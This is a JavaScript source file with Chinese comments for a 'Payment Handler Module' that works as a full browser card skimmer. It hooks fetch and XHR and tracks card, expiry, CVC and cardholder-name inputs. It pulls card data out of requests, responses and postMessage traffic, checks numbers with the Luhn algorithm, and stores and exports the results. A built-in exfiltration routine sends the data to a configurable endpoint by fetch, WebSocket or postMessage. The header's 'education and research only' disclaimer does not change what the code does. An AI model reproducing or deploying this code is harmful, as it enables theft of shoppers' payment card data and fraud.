/** * ============================================================================ * Payment Handler Module - Data Extraction Engine * ============================================================================ * 功能: * 1. 攔截所有支付相關的網絡請求 (Fetch/XHR) * 2. 監聽表單輸入框的實時變化 * 3. 捕獲 postMessage 通信中的支付數據 * 4. 提取並結構化信用卡數據 (卡號/日期/CVC/持卡人) * 5. 通過事件系統廣播捕獲的數據 * * 作者: LO & ENI * 警告: 此模塊僅供教育和研究用途 * ============================================================================ */ class PaymentHandlerModule { constructor(config = {}) { this.config = { enabled: true, debug: false, // 攔截目標 interceptFetch: true, interceptXHR: true, monitorInputs: true, monitorPostMessage: true, // 輸入框掃描間隔 (毫秒) inputScanInterval: 2000, // 字段選擇器 cardFieldSelectors: [ 'input[name*="card"]', 'input[name*="cc"]', 'input[id*="card"]', 'input[autocomplete="cc-number"]', 'input[placeholder*="Card"]' ], expiryFieldSelectors: [ 'input[name*="exp"]', 'input[id*="exp"]', 'input[autocomplete="cc-exp"]' ], cvcFieldSelectors: [ 'input[name*="cvc"]', 'input[name*="cvv"]', 'input[autocomplete="cc-csc"]' ], holderFieldSelectors: [ 'input[name*="name"]', 'input[autocomplete="cc-name"]' ], // 數據驗證 validateCardNumber: true, validateExpiry: true, // 數據存儲 storeCapturedData: true, maxStoredRecords: 50, // 外泄配置 (用於測試或合法用途) exfiltrationEnabled: false, exfiltrationEndpoint: null, // 外部 API 端點 exfiltrationMethod: 'postMessage', // 'postMessage', 'fetch', 'websocket' ...config }; // 內部狀態 this.capturedData = []; this.trackedInputs = new WeakSet(); this.scanTimer = null; this.listeners = new Map(); // 原始方法保存 this.originalFetch = null; this.originalXHROpen = null; this.originalXHRSend = null; // 綁定方法 this.handleFetch = this.handleFetch.bind(this); this.handleXHRLoad = this.handleXHRLoad.bind(this); this.handlePostMessage = this.handlePostMessage.bind(this); this.scanInputs = this.scanInputs.bind(this); } /** * 初始化模塊 */ init() { if (!this.config.enabled) { this.warn('Payment Handler is disabled'); return; } this.log('Initializing Payment Handler Module...'); // 1. Hook 網絡請求 if (this.config.interceptFetch) { this.hookFetch(); } if (this.config.interceptXHR) { this.hookXHR(); } // 2. 監聽 postMessage if (this.config.monitorPostMessage) { window.addEventListener('message', this.handlePostMessage); } // 3. 啟動輸入框掃描 if (this.config.monitorInputs) { this.startInputScanning(); } // 4. 暴露全局 API this.exposeGlobalAPI(); this.success('Payment Handler Active. Monitoring for sensitive data...'); } /** * 銷毀模塊 */ destroy() { // 恢復原始方法 if (this.originalFetch) { window.fetch = this.originalFetch; } if (this.originalXHROpen) { XMLHttpRequest.prototype.open = this.originalXHROpen; } if (this.originalXHRSend) { XMLHttpRequest.prototype.send = this.originalXHRSend; } // 停止掃描 if (this.scanTimer) { clearInterval(this.scanTimer); } // 移除事件監聽 window.removeEventListener('message', this.handlePostMessage); this.log('Payment Handler destroyed'); } /** * ======================================================================== * Fetch Hook * ======================================================================== */ hookFetch() { if (this.originalFetch) return; this.originalFetch = window.fetch; const self = this; window.fetch = async function(...args) { return await self.handleFetch(this, args, self.originalFetch); }; this.log('Fetch API hooked'); } async handleFetch(context, args, originalFetch) { const [resource, config = {}] = args; const url = this.extractUrl(resource); // 檢查請求體中是否包含卡片數據 if (config.body) { this.analyzeRequestPayload(url, config.body, 'fetch'); } // 執行原始請求 try { const response = await originalFetch.apply(context, args); // 分析響應 const clonedResponse = response.clone(); this.analyzeResponse(url, clonedResponse).catch(() => {}); return response; } catch (error) { this.error('Fetch error:', error); throw error; } } /** * ======================================================================== * XHR Hook * ======================================================================== */ hookXHR() { if (this.originalXHROpen) return; const self = this; const XHR = XMLHttpRequest.prototype; this.originalXHROpen = XHR.open; this.originalXHRSend = XHR.send; XHR.open = function(method, url, ...rest) { this.__handler_url = url; this.__handler_method = method; return self.originalXHROpen.apply(this, [method, url, ...rest]); }; XHR.send = function(body) { const xhr = this; const url = xhr.__handler_url; // 分析請求體 if (body) { self.analyzeRequestPayload(url, body, 'xhr'); } // 監聽響應 xhr.addEventListener('load', function() { self.handleXHRLoad(xhr, url); }); return self.originalXHRSend.apply(this, [body]); }; this.log('XMLHttpRequest hooked'); } handleXHRLoad(xhr, url) { try { if (xhr.responseText) { this.analyzeResponseText(url, xhr.responseText); } } catch (error) { // Silent } } /** * ======================================================================== * Payload 分析 * ======================================================================== */ analyzeRequestPayload(url, body, source) { try { let data = null; // 嘗試解析 JSON if (typeof body === 'string') { try { data = JSON.parse(body); } catch (e) { // 嘗試解析 URLSearchParams if (body.includes('=')) { const params = new URLSearchParams(body); data = Object.fromEntries(params); } } } else if (body instanceof FormData) { data = Object.fromEntries(body); } else if (typeof body === 'object') { data = body; } // 如果成功解析數據 if (data) { const extracted = this.extractCardData(data); if (extracted && Object.keys(extracted).length > 0) { this.log(`Card data found in ${source} request to ${url}`); this.captureData({ source: 'network_request', type: source, url: url, data: extracted }); } } } catch (error) { this.error('Payload analysis error:', error); } } async analyzeResponse(url, response) { try { const text = await response.text(); this.analyzeResponseText(url, text); } catch (error) { // Silent } } analyzeResponseText(url, text) { if (!text) return; try { const data = JSON.parse(text); const extracted = this.extractCardData(data); if (extracted && Object.keys(extracted).length > 0) { this.log(`Card data found in response from ${url}`); this.captureData({ source: 'network_response', url: url, data: extracted }); } } catch (error) { // Not JSON, ignore } } /** * ======================================================================== * 輸入框監聽 * ======================================================================== */ startInputScanning() { this.scanInputs(); // 立即執行一次 this.scanTimer = setInterval(() => { this.scanInputs(); }, this.config.inputScanInterval); this.log('Input scanning started'); } scanInputs() { try { // 合併所有選擇器 const allSelectors = [ ...this.config.cardFieldSelectors, ...this.config.expiryFieldSelectors, ...this.config.cvcFieldSelectors, ...this.config.holderFieldSelectors ].join(', '); const inputs = document.querySelectorAll(allSelectors); inputs.forEach(input => { if (!this.trackedInputs.has(input)) { this.trackInput(input); } }); } catch (error) { this.error('Input scanning error:', error); } } trackInput(input) { this.trackedInputs.add(input); // 監聽多種事件 const events = ['change', 'blur', 'input']; events.forEach(eventType => { input.addEventListener(eventType, (e) => { this.handleInputChange(e.target); }); }); this.log(`Tracking input: ${input.name || input.id || 'unknown'}`); } handleInputChange(input) { const value = input.value; if (!value || value.length < 3) return; const fieldType = this.identifyFieldType(input); if (fieldType) { this.log(`Input captured: ${fieldType} = ${value.substring(0, 4)}...`); this.captureData({ source: 'user_input', fieldType: fieldType, fieldName: input.name || input.id, value: value, element: input }); } } identifyFieldType(input) { const name = (input.name || '').toLowerCase(); const id = (input.id || '').toLowerCase(); const placeholder = (input.placeholder || '').toLowerCase(); const combined = `${name} ${id} ${placeholder}`; if (/card.*number|cc.*number/.test(combined)) return 'cardNumber'; if (/exp|expiry|expiration/.test(combined)) return 'expiry'; if (/cvc|cvv|security/.test(combined)) return 'cvc'; if (/name|holder|cardholder/.test(combined)) return 'holderName'; return null; } /** * ======================================================================== * postMessage 監聽 * ======================================================================== */ handlePostMessage(event) { try { const data = event.data; if (!data || typeof data !== 'object') return; // 檢查是否包含支付相關數據 const extracted = this.extractCardData(data); if (extracted && Object.keys(extracted).length > 0) { this.log('Card data found in postMessage'); this.captureData({ source: 'postMessage', origin: event.origin, data: extracted }); } } catch (error) { // Silent } } /** * ======================================================================== * 數據提取與驗證 * ======================================================================== */ extractCardData(obj) { if (!obj || typeof obj !== 'object') return null; const result = {}; // 遞歸搜索對象 const search = (target, depth = 0) => { if (depth > 5) return; // 防止過深遞歸 for (const [key, value] of Object.entries(target)) { const keyLower = key.toLowerCase(); // 卡號 if (/card.*number|cc.*number|pan|number/.test(keyLower)) { const cleaned = this.cleanCardNumber(value); if (this.isValidCardNumber(cleaned)) { result.cardNumber = cleaned; } } // 日期 if (/exp|expiry|expiration/.test(keyLower)) { if (this.isValidExpiry(value)) { result.expiry = value; } } // CVC if (/cvc|cvv|security.*code/.test(keyLower)) { if (/^\d{3,4}$/.test(value)) { result.cvc = value; } } // 持卡人姓名 if (/holder|name|cardholder/.test(keyLower)) { if (typeof value === 'string' && value.length > 2) { result.holderName = value; } } // 遞歸搜索嵌套對象 if (typeof value === 'object' && value !== null) { search(value, depth + 1); } } }; search(obj); return Object.keys(result).length > 0 ? result : null; } cleanCardNumber(value) { if (typeof value !== 'string') value = String(value); return value.replace(/\D/g, ''); } isValidCardNumber(number) { if (!this.config.validateCardNumber) return true; // Luhn 算法驗證 if (!/^\d{13,19}$/.test(number)) return false; let sum = 0; let isEven = false; for (let i = number.length - 1; i >= 0; i--) { let digit = parseInt(number.charAt(i), 10); if (isEven) { digit *= 2; if (digit > 9) { digit -= 9; } } sum += digit; isEven = !isEven; } return (sum % 10) === 0; } isValidExpiry(value) { if (!this.config.validateExpiry) return true; // 支持多種格式:MM/YY, MM/YYYY, MMYY, MM-YY const cleaned = String(value).replace(/\D/g, ''); if (cleaned.length === 4) { const month = parseInt(cleaned.substring(0, 2)); const year = parseInt(cleaned.substring(2, 4)); return month >= 1 && month <= 12 && year >= 0; } else if (cleaned.length === 6) { const month = parseInt(cleaned.substring(0, 2)); return month >= 1 && month <= 12; } return false; } /** * ======================================================================== * 數據捕獲與存儲 * ======================================================================== */ captureData(captureInfo) { const record = { id: this.generateId(), timestamp: Date.now(), url: window.location.href, ...captureInfo }; // 存儲記錄 if (this.config.storeCapturedData) { this.capturedData.push(record); // 限制存儲大小 if (this.capturedData.length > this.config.maxStoredRecords) { this.capturedData.shift(); } } // 廣播事件 this.broadcastEvent('DATA_CAPTURED', record); // 外泄數據 (如果啟用) if (this.config.exfiltrationEnabled) { this.exfiltrateData(record); } this.success(`Data captured from ${captureInfo.source}`); } /** * ======================================================================== * 數據外泄 (僅用於合法測試) * ======================================================================== */ exfiltrateData(record) { try { switch (this.config.exfiltrationMethod) { case 'postMessage': window.postMessage({ type: 'PAYMENT_DATA_EXFILTRATION', data: record }, '*'); break; case 'fetch': if (this.config.exfiltrationEndpoint) { fetch(this.config.exfiltrationEndpoint, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(record) }).catch(() => {}); } break; case 'websocket': // WebSocket 實現 (需要外部 WS 服務器) if (window.__exfiltrationWS && window.__exfiltrationWS.readyState === WebSocket.OPEN) { window.__exfiltrationWS.send(JSON.stringify(record)); } break; case 'localStorage': const existing = JSON.parse(localStorage.getItem('__captured_data') || '[]'); existing.push(record); localStorage.setItem('__captured_data', JSON.stringify(existing)); break; } this.log('Data exfiltrated via ' + this.config.exfiltrationMethod); } catch (error) { this.error('Exfiltration error:', error); } } /** * ======================================================================== * 事件系統 * ======================================================================== */ broadcastEvent(eventType, payload) { const message = { type: `PAYMENT_HANDLER_${eventType}`, ...payload, timestamp: Date.now() }; // postMessage window.postMessage(message, '*'); // CustomEvent const event = new CustomEvent('PAYMENT_HANDLER_EVENT', { detail: message }); window.dispatchEvent(event); // 內部監聽器 if (this.listeners.has(eventType)) { this.listeners.get(eventType).forEach(callback => { try { callback(payload); } catch (error) { this.error('Listener error:', error); } }); } } on(eventType, callback) { if (!this.listeners.has(eventType)) { this.listeners.set(eventType, []); } this.listeners.get(eventType).push(callback); } /** * ======================================================================== * 數據查詢 API * ======================================================================== */ getCapturedData(filter = {}) { let data = [...this.capturedData]; if (filter.source) { data = data.filter(d => d.source === filter.source); } if (filter.timeRange) { const { start, end } = filter.timeRange; data = data.filter(d => d.timestamp >= start && d.timestamp <= end); } if (filter.containsCardNumber) { data = data.filter(d => d.data && d.data.cardNumber); } return data; } getLastCaptured() { return this.capturedData[this.capturedData.length - 1] || null; } clearCapturedData() { this.capturedData = []; this.log('Captured data cleared'); } /** * 導出捕獲的數據 */ exportData(format = 'json') { if (format === 'json') { return JSON.stringify(this.capturedData, null, 2); } else if (format === 'csv') { const headers = ['timestamp', 'source', 'cardNumber', 'expiry', 'cvc', 'holderName']; let csv = headers.join(',') + '\n'; this.capturedData.forEach(record => { const row = [ new Date(record.timestamp).toISOString(), record.source, record.data?.cardNumber || '', record.data?.expiry || '', record.data?.cvc || '', record.data?.holderName || '' ]; csv += row.join(',') + '\n'; }); return csv; } } /** * ======================================================================== * 工具方法 * ======================================================================== */ extractUrl(resource) { if (typeof resource === 'string') return resource; if (resource instanceof Request) return resource.url; if (resource instanceof URL) return resource.toString(); return ''; } generateId() { return `${Date.now()}_${Math.random().toString(36).substr(2, 9)}`; } /** * ======================================================================== * 全局 API * ======================================================================== */ exposeGlobalAPI() { window.paymentHandler = { module: this, on: (event, callback) => this.on(event, callback), getData: (filter) => this.getCapturedData(filter), getLastCaptured: () => this.getLastCaptured(), clearData: () => this.clearCapturedData(), export: (format) => this.exportData(format), getStatus: () => ({ enabled: this.config.enabled, totalCaptured: this.capturedData.length, lastCapture: this.getLastCaptured() }) }; this.log('Global API exposed as window.paymentHandler'); } /** * ======================================================================== * 日誌工具 * ======================================================================== */ log(...args) { if (this.config.debug) { console.log('[PaymentHandler]', ...args); } } success(msg) { console.log(`%c[PaymentHandler SUCCESS] ${msg}`, 'color: lime; font-weight: bold;'); } warn(msg) { console.log(`%c[PaymentHandler WARN] ${msg}`, 'color: orange; font-weight: bold;'); } error(...args) { console.error('[PaymentHandler ERROR]', ...args); } } /** * ============================================================================ * 全局暴露 * ============================================================================ */ window.PaymentHandlerModule = PaymentHandlerModule; // 自動初始化選項 if (typeof PAYMENT_HANDLER_AUTO_INIT !== 'undefined' && PAYMENT_HANDLER_AUTO_INIT) { const instance = new PaymentHandlerModule({ enabled: true, debug: true }); instance.init(); window.__paymentHandler = instance; }